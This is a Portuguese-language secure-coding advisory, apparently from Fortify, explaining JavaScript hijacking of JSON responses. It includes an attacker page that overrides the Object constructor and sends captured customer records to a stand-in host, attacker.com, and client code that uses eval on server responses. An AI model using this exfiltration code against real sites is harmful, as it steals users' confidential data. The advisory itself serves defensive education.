JavaScript Hijacking

Os aplicativos que utilizam a notação JavaScript para transportar dados confidenciais podem ser vulneráveis a sequestros de JavaScript, o que permite a um invasor não autorizado ler dados confidenciais por meio de um aplicativo vulnerável.

Um aplicativo pode ser vulnerável a sequestros de JavaScript nas seguintes situações: 1) Ele usa objetos JavaScript como formato de transferência de dados 2) Ele lida com dados confidenciais. Como vulnerabilidades de sequestro de JavaScript não ocorrem como resultado direto de um erro de codificação, os Fortify Secure Coding Rulepacks chamam a atenção a possíveis vulnerabilidades de sequestro de JavaScript identificando o código que parece gerar JavaScript em uma resposta HTTP.

Navegadores da Web impõem a Política de Mesma Origem a fim de proteger os usuários contra sites mal-intencionados. A Política de Mesma Origem exige que, para que o JavaScript possa acessar o conteúdo de uma página da Web, tanto ele quanto essa página da Web devem ser provenientes do mesmo domínio. Sem a Política de Mesma Origem, um site mal-intencionado poderia fornecer um JavaScript capaz de carregar informações confidenciais de outros sites usando as credenciais de um cliente, analisar essas informações e depois as comunicar ao invasor. Sequestros de JavaScript permitem que um invasor ignore a Política de Mesma Origem no caso que um aplicativo Web usa JavaScript para comunicar informações confidenciais. A brecha na Política de Mesma Origem é que ela permite que o JavaScript proveniente de qualquer site seja incluído e executado no contexto de qualquer outro site. Mesmo que um site mal-intencionado não consiga examinar diretamente os dados carregados de um site vulnerável no cliente, ele ainda pode tirar proveito dessa brecha configurando um ambiente que lhe permite testemunhar a execução do JavaScript e de quaisquer efeitos colaterais relevantes que isso possa provocar. Como muitos aplicativos Web 2.0 usam o JavaScript como um mecanismo de transporte de dados, é comum que eles sejam vulneráveis, enquanto os aplicativos Web tradicionais não o são.

O formato mais popular para a comunicação de informações em JavaScript é o JSON (JavaScript Object Notation). A RFC JSON define a sintaxe JSON como um subconjunto da sintaxe literal de objetos JavaScript. O JSON se baseia em dois tipos de estruturas de dados: matrizes e objetos. Qualquer formato de transporte de dados no qual as mensagens possam ser interpretadas como uma ou mais instruções JavaScript válidas é vulnerável a sequestros de JavaScript. O JSON facilita o sequestro de JavaScript pelo fato de que uma matriz JSON representa por si só uma instrução JavaScript válida. Como as matrizes são uma forma natural para a comunicação de listas, elas são comumente utilizadas sempre que um aplicativo precisa comunicar vários valores. Em outras palavras, uma matriz JSON é diretamente vulnerável a sequestros de JavaScript. Um objeto JSON apenas será vulnerável se estiver encapsulado em alguma outra construção JavaScript que por si só representa uma instrução JavaScript válida.

Exemplo 1: O exemplo a seguir começa mostrando uma interação JSON legítima entre os componentes cliente e servidor de um aplicativo Web usado para gerenciar listas de clientes potenciais. Em seguida, ele mostra como um invasor pode imitar o cliente e obter acesso aos dados confidenciais retornados pelo servidor. Observe que esse exemplo foi concebido para navegadores baseados no Mozilla. Outros navegadores tradicionais não permitem que construtores nativos sejam substituídos quando um objeto é criado sem o uso do novo operador.

O cliente solicita dados de um servidor e avalia o resultado como JSON com o seguinte código:

var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
  if (req.readyState == 4) {
    var txt = req.responseText;
    object = eval("(" + txt + ")");
    req = null;
  }
};
req.send(null);

Quando o código é executado, ele gera uma solicitação HTTP que se parece com o seguinte:

GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR

(Nesta resposta HTTP e também na seguinte, omitimos os cabeçalhos HTTP que não são diretamente relevantes para essa explicação.)
O servidor responde com uma matriz no formato JSON:

HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
  "purchases":60000.00, "email":"brian@example.com" },
 {"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
  "purchases":120000.00, "email":"katrina@example.com" },
 {"fname":"Jacob", "lname":"West", "phone":"6502135600",
  "purchases":45000.00, "email":"jacob@example.com" }]

Nesse caso, o JSON contém informações confidenciais associadas ao usuário atual (uma lista de clientes potenciais). Outros usuários não podem acessar essas informações sem saberem o identificador de sessão do usuário. (Na maioria dos aplicativos Web modernos, o identificador de sessão é armazenado como um cookie.) No entanto, se uma vítima visitar um site mal-intencionado, este poderá recuperar as informações via sequestro de JavaScript. Se uma vítima puder ser enganada e levada a visitar uma página da Web que contém o seguinte código mal-intencionado, as informações de clientes potenciais dessa vítima serão enviadas ao site do invasor.

<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
 this.email setter = captureObject;
}

// Send the captured object back to the attacker's Web site
function captureObject(x) {
  var objString = "";
  for (fld in this) {
    objString += fld + ": " + this[fld] + ", ";
  }
  objString += "email: " + x;
  var req = new XMLHttpRequest();
  req.open("GET", "http://attacker.com?obj=" +
           escape(objString),true);
  req.send(null);
}
</script>

<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>

O código mal-intencionado usa uma tag de script para incluir o objeto JSON na página atual. O navegador da Web enviará o cookie de sessão apropriado com a solicitação. Em outras palavras, essa solicitação será tratada como se tivesse sido originada pelo aplicativo legítimo.

Quando a matriz JSON chegar no cliente, ela será avaliada no contexto da página mal-intencionada. A fim de testemunhar a avaliação do JSON, a página mal-intencionada redefiniu a função JavaScript usada para criar novos objetos. Dessa maneira, o código mal-intencionado inseriu um gancho que lhe permite obter acesso à criação de cada objeto e transmitir o conteúdo do objeto de volta para o site mal-intencionado. Outros ataques podem em vez disso substituir o construtor padrão para matrizes. Aplicativos desenvolvidos para uso em um mashup por vezes invocam uma função de retorno de chamada no final de cada mensagem JavaScript. O propósito dessa função de retorno de chamada é ser definida por outro aplicativo no mashup. A função de retorno de chamada faz com que um ataque de sequestro JavaScript se torne algo muito simples - tudo o que o invasor precisa fazer é definir a função. Um aplicativo pode ser favorável para mashup ou seguro, mas não pode ser ambos. Se o usuário não estiver conectado ao site vulnerável, o invasor poderá compensar a situação solicitando que esse usuário faça login e, em seguida, exibindo a página de login legítima do aplicativo.

Não se trata de um ataque de phishing (o invasor não obtém acesso as credenciais do usuário) e, por isso, contramedidas anti-phishing não conseguirão anulá-lo. Ataques mais complexos podem fazer uma série de solicitações ao aplicativo usando JavaScript para gerar tags de script dinamicamente. Essa mesma técnica é usada às vezes para criar mashups de aplicativo. A única diferença é que, nesse cenário de mashup, um dos aplicativos envolvidos é mal-intencionado.